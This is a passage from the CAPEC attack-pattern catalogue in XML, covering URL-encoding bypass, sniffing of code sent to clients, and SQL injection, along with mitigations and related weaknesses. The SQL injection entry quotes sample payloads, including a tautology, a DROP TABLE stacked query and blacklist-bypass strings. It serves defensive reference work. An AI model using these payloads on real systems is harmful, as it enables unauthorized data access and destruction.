						<Text>Obfuscation technique such as IP address encoding can also be used
							(See reference section : "URL encoded attacks", by Gunter
							Ollmann).</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Assume all input is malicious. Create a white list that defines all valid
						input to the software system based on the requirements specifications. Input
						that does not match against the white list should not be permitted to enter
						into the system. Test your decoding process against malicious input.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Be aware of the threat of alternative method of data encoding and
						obfuscation technique such as IP address encoding.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>When client input is required from web-based forms, avoid using the "GET"
						method to submit data, as the method causes the form data to be appended to
						the URL and is easily manipulated. Instead, use the "POST method whenever
						possible.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Any security checks should occur after the data has been decoded and
						validated as correct data format. Do not repeat decoding process, if bad
						character are left after decoding process, treat the data as suspicious, and
						fail the validation process.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Refer to the RFCs to safelly decode URL.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Regular expression can be used to match safe URL patterns. However, that
						may discard valid URL requests if the regular expression is too
						restrictive.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>There are tools to scan HTTP requests to the server for valid URL such as
						URLScan from Microsoft
						(http://www.microsoft.com/technet/security/tools/urlscan.mspx).</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>177<!--Improper Handling of URL Encoding (Hex Encoding)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>171<!--Cleansing, Canonicalization, and Comparison Errors--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>173<!--Improper Handling of Alternate Encoding--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>172<!--Encoding Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>73<!--External Control of File Name or Path--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>21<!--Pathname Traversal and Equivalence Errors--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>22<!--Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>72<!--URL Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>71<!--Using Unicode Encoding to Bypass Validation Logic--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>79<!--Using Slashes in Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>79<!--Using Slashes in Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>72<!--URL Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>43<!--Exploiting Multiple Input Interpretation Layers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>267<!--Leverage Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>126<!--Path Traversal--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Input Validation</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>URL encoded attacks, by Gunter Ollmann -
							http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Uniform Resource Identifier (URI): Generic Syntax, RFC 3886 -
							http://www.ietf.org/rfc/rfc3986.txt</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>URL Uniform Resource Locators (URL) RFC -
							http://rfc.net/rfc1738.html</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>URL encoding reference -
							http://www.w3schools.com/tags/ref_urlencode.asp</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>The URLEncode and URLDecode Page -
							http://www.albionresearch.com/misc/urlencode.php</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>David Wheeler - Validating URIs -
							http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/filter-html.html#VALIDATING-URIS</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in
							Name</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="65"
			Name="Passively Sniff and Capture Application Code Bound for Authorized Client"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Attackers can capture appplication code bound for the client and can use
						it, as-is or through reverse-engineering, to glean sensitive information or
						exploit the trust relationship between the client and server.</Text>
					<Text>Such code may belong to a dynamic update to the client, a patch being
						applied to a client component or any such interaction where the client is
						authorized to communicate with the server.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker sets up a sniffer (and an
												interceptor, as the motive of the attack may be) in
												the path between the server and the client</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The captured code is then used as part of a larger
												attack, such as reverse-engineering the code or
												denying its delivery to the client or altering its
												contents on way to the client</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The attacker must have the ability to place himself in the communication
						path between the client and server.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The targeted application must receive some application code from the
						server; for example, dynamic updates, patches, applets or scripts.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The attacker must be able to employ a sniffer on the network without being
						detected.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Low</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Attacker receives notification that the computer/OS/application has an
							available update, loads a network sniffing tool, and extracts update
							data from subsequent communication.</Text>
						<Text>The attacker then proceeds to reverse engineer the captured
							stream.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Plain code, such as applets or Javascript, is also part of the
							executing application. If such code is transmitted unprotected, the
							attacker can capture the code and possibly reverse engineer it to gain
							sensitive information, such as encryption keys, validation algorithms
							and such.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker needs to setup a sniffer for a sufficient period of time
							so as to capture meaningful quantities of code. The presence of the
							sniffer should not be detected on the network. Also if the attacker
							plans to employ a man-in-the-middle attack, the client or server must
							not realize this. Finally, the attacker needs to regenerate source code
							from binary code if the need be.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The Attacker needs the ability to capture communications between the client
					being updated and the server providing the update.</Text>
				<Text>In the case that encryption obscures client/server communication the attacker
					will either need to lift key material from the client.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>319<!--Cleartext Transmission of Sensitive Information--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>318<!--Plaintext Storage in Executable--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>719<!--OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>37<!--Lifting Data Embedded in Client Distributions--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>158<!--Sniffing Information Sent Over Public/multicast Networks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Do not store secrets in client code</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>All potentially sensitive data, including code, transmitted to the client
						must be encrypted</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Never Assuming that Your Secrets Are Safe</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Securing the Weakest Link</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Use Well-Known Cryptography Appropriately and Correctly</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Use Authentication Mechanisms, Where Appropriate, Correctly</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Reconnaissance</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>John Steven</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Chiradeep B. Chhaya</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-23</Modification_Date>
						<Modification_Comment>Fleshed out pattern with extra
							content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Related
							Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="66" Name="SQL Injection" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack exploits target software that constructs SQL statements based
						on user input. An attacker crafts input strings so that when the target
						software constructs SQL statements based on the input, the resulting SQL
						statement performs actions other than those the application intended.</Text>
					<Text>SQL Injection results from failure of the application to appropriately
						validate input. When specially crafted user-controlled input consisting of
						SQL syntax is used without proper validation as part of SQL queries, it is
						possible to glean information from the database in ways not envisaged during
						application design. Depending upon the database and the design of the
						application, it may also be possible to leverage injection to have the
						database execute system-related commands of the attacker's choice. SQL
						Injection enables an attacker to talk directly to the database, thus
						bypassing the application completely. Sucessful injection can cause
						information disclosure as well as ability to add or modify data in the
						database. In order to successfully inject SQL and retrieve information from
						a database, an attacker:</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey application</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker first takes an inventory of the
												functionality exposed by the application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Spider web sites for all available
												links</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Sniff network communications with
												application using a utility such as
												WireShark.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least one data input to
												application identified.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No inputs to application
												identified. Note that just because no inputs are
												identified does not mean that the application will
												not accept any.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine user-controllable input
											susceptible to injection</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine the user-controllable input susceptible
												to injection. For each user-controllable input that
												the attacker suspects is vulnerable to SQL
												injection, attempt to inject characters that have
												special meaning in SQL (such as a single quote
												character, a double quote character, two hyphens, a
												paranthesis, etc.). The goal is to create a SQL
												query with an invalid syntax.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use web browser to inject input through text
												fields or through HTTP GET parameters.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a web application debugging tool such as
												Tamper Data, TamperIE, WebScarab,etc. to modify
												HTTP POST parameters, hidden fields, non-freeform
												fields, etc.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use network-level packet injection tools
												such as netcat to inject input</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Use modified client (modified by reverse
												engineering) to inject input.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Negative">
												<Indicator_Description>
												<Text>Attacker receives normal response from
												server.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Attacker receives an error message from
												server indicating that there was a problem with
												the SQL query.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Server sends a specific error message that
												indicates programmatic parsing of the input data
												(e.g. NumberFormatException)</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least one user-controllable
												input susceptible to injection
												found.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No user-controllable input
												susceptible to injection
												found.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Search for and alert
												on unexpected SQL keywords in application logs
												(e.g. SELECT, DROP,
												etc.).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Input validation of
												user-controlled data before including it in a SQL
												query</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use parameterized
												queries (e.g. PreparedStatement in Java, and
												Command.Parameters.Add() to set query parameters
												in .NET)</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Experiment and try to exploit SQL
											Injection vulnerability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>After determining that a given input is vulnerable
												to SQL Injection, hypothesize what the underlying
												query looks like. Iteratively try to add logic to
												the query to extract information from the database,
												or to modify or delete information in the
												database.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use public resources such as "SQL Injection
												Cheat Sheet" at
												http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/,
												and try different approaches for adding logic to
												SQL queries.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Add logic to query, and use detailed error
												messages from the server to debug the query. For
												example, if adding a single quote to a query
												causes an error message, try : "' OR 1=1; --", or
												something else that would syntactically complete a
												hypothesized query. Iteratively refine the
												query.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use "Blind SQL Injection" techniques to
												extract information about the database
												schema.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>If a denial of service attack is the goal,
												try stacking queries. This does not work on all
												platforms (most notably, it does not work on
												Oracle or MySQL). Examples of inputs to try
												include: "'; DROP TABLE SYSOBJECTS; --" and "');
												DROP TABLE SYSOBJECTS; --". These particular
												queries will likely not work because the
												SYSOBJECTS table is generally protected.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Success outcome in previous step.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Failure outcome in previous step.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker achieves goal of
												unauthorized system access, denial of service,
												etc.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Attacker unable to exploit SQL
												Injection vulnerability.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>SQL queries used by the application to store, retrieve or modify
						data.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>User-controllable input that is not properly validated by the application
						as part of SQL queries.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Very High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>With PHP-Nuke versions 7.9 and earlier, an attacker can successfully
							access and modify data, including sensitive contents such as usernames
							and password hashes, and compromise the application through SQL
							Injection. The protection mechanism against SQL Injection employs a
							blacklist approach to input validation. However, because of improper
							blacklisting, it is possible to inject content such as "foo'/**/UNION"
							or "foo UNION/**/" to bypass validation and glean sensitive information
							from the database.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
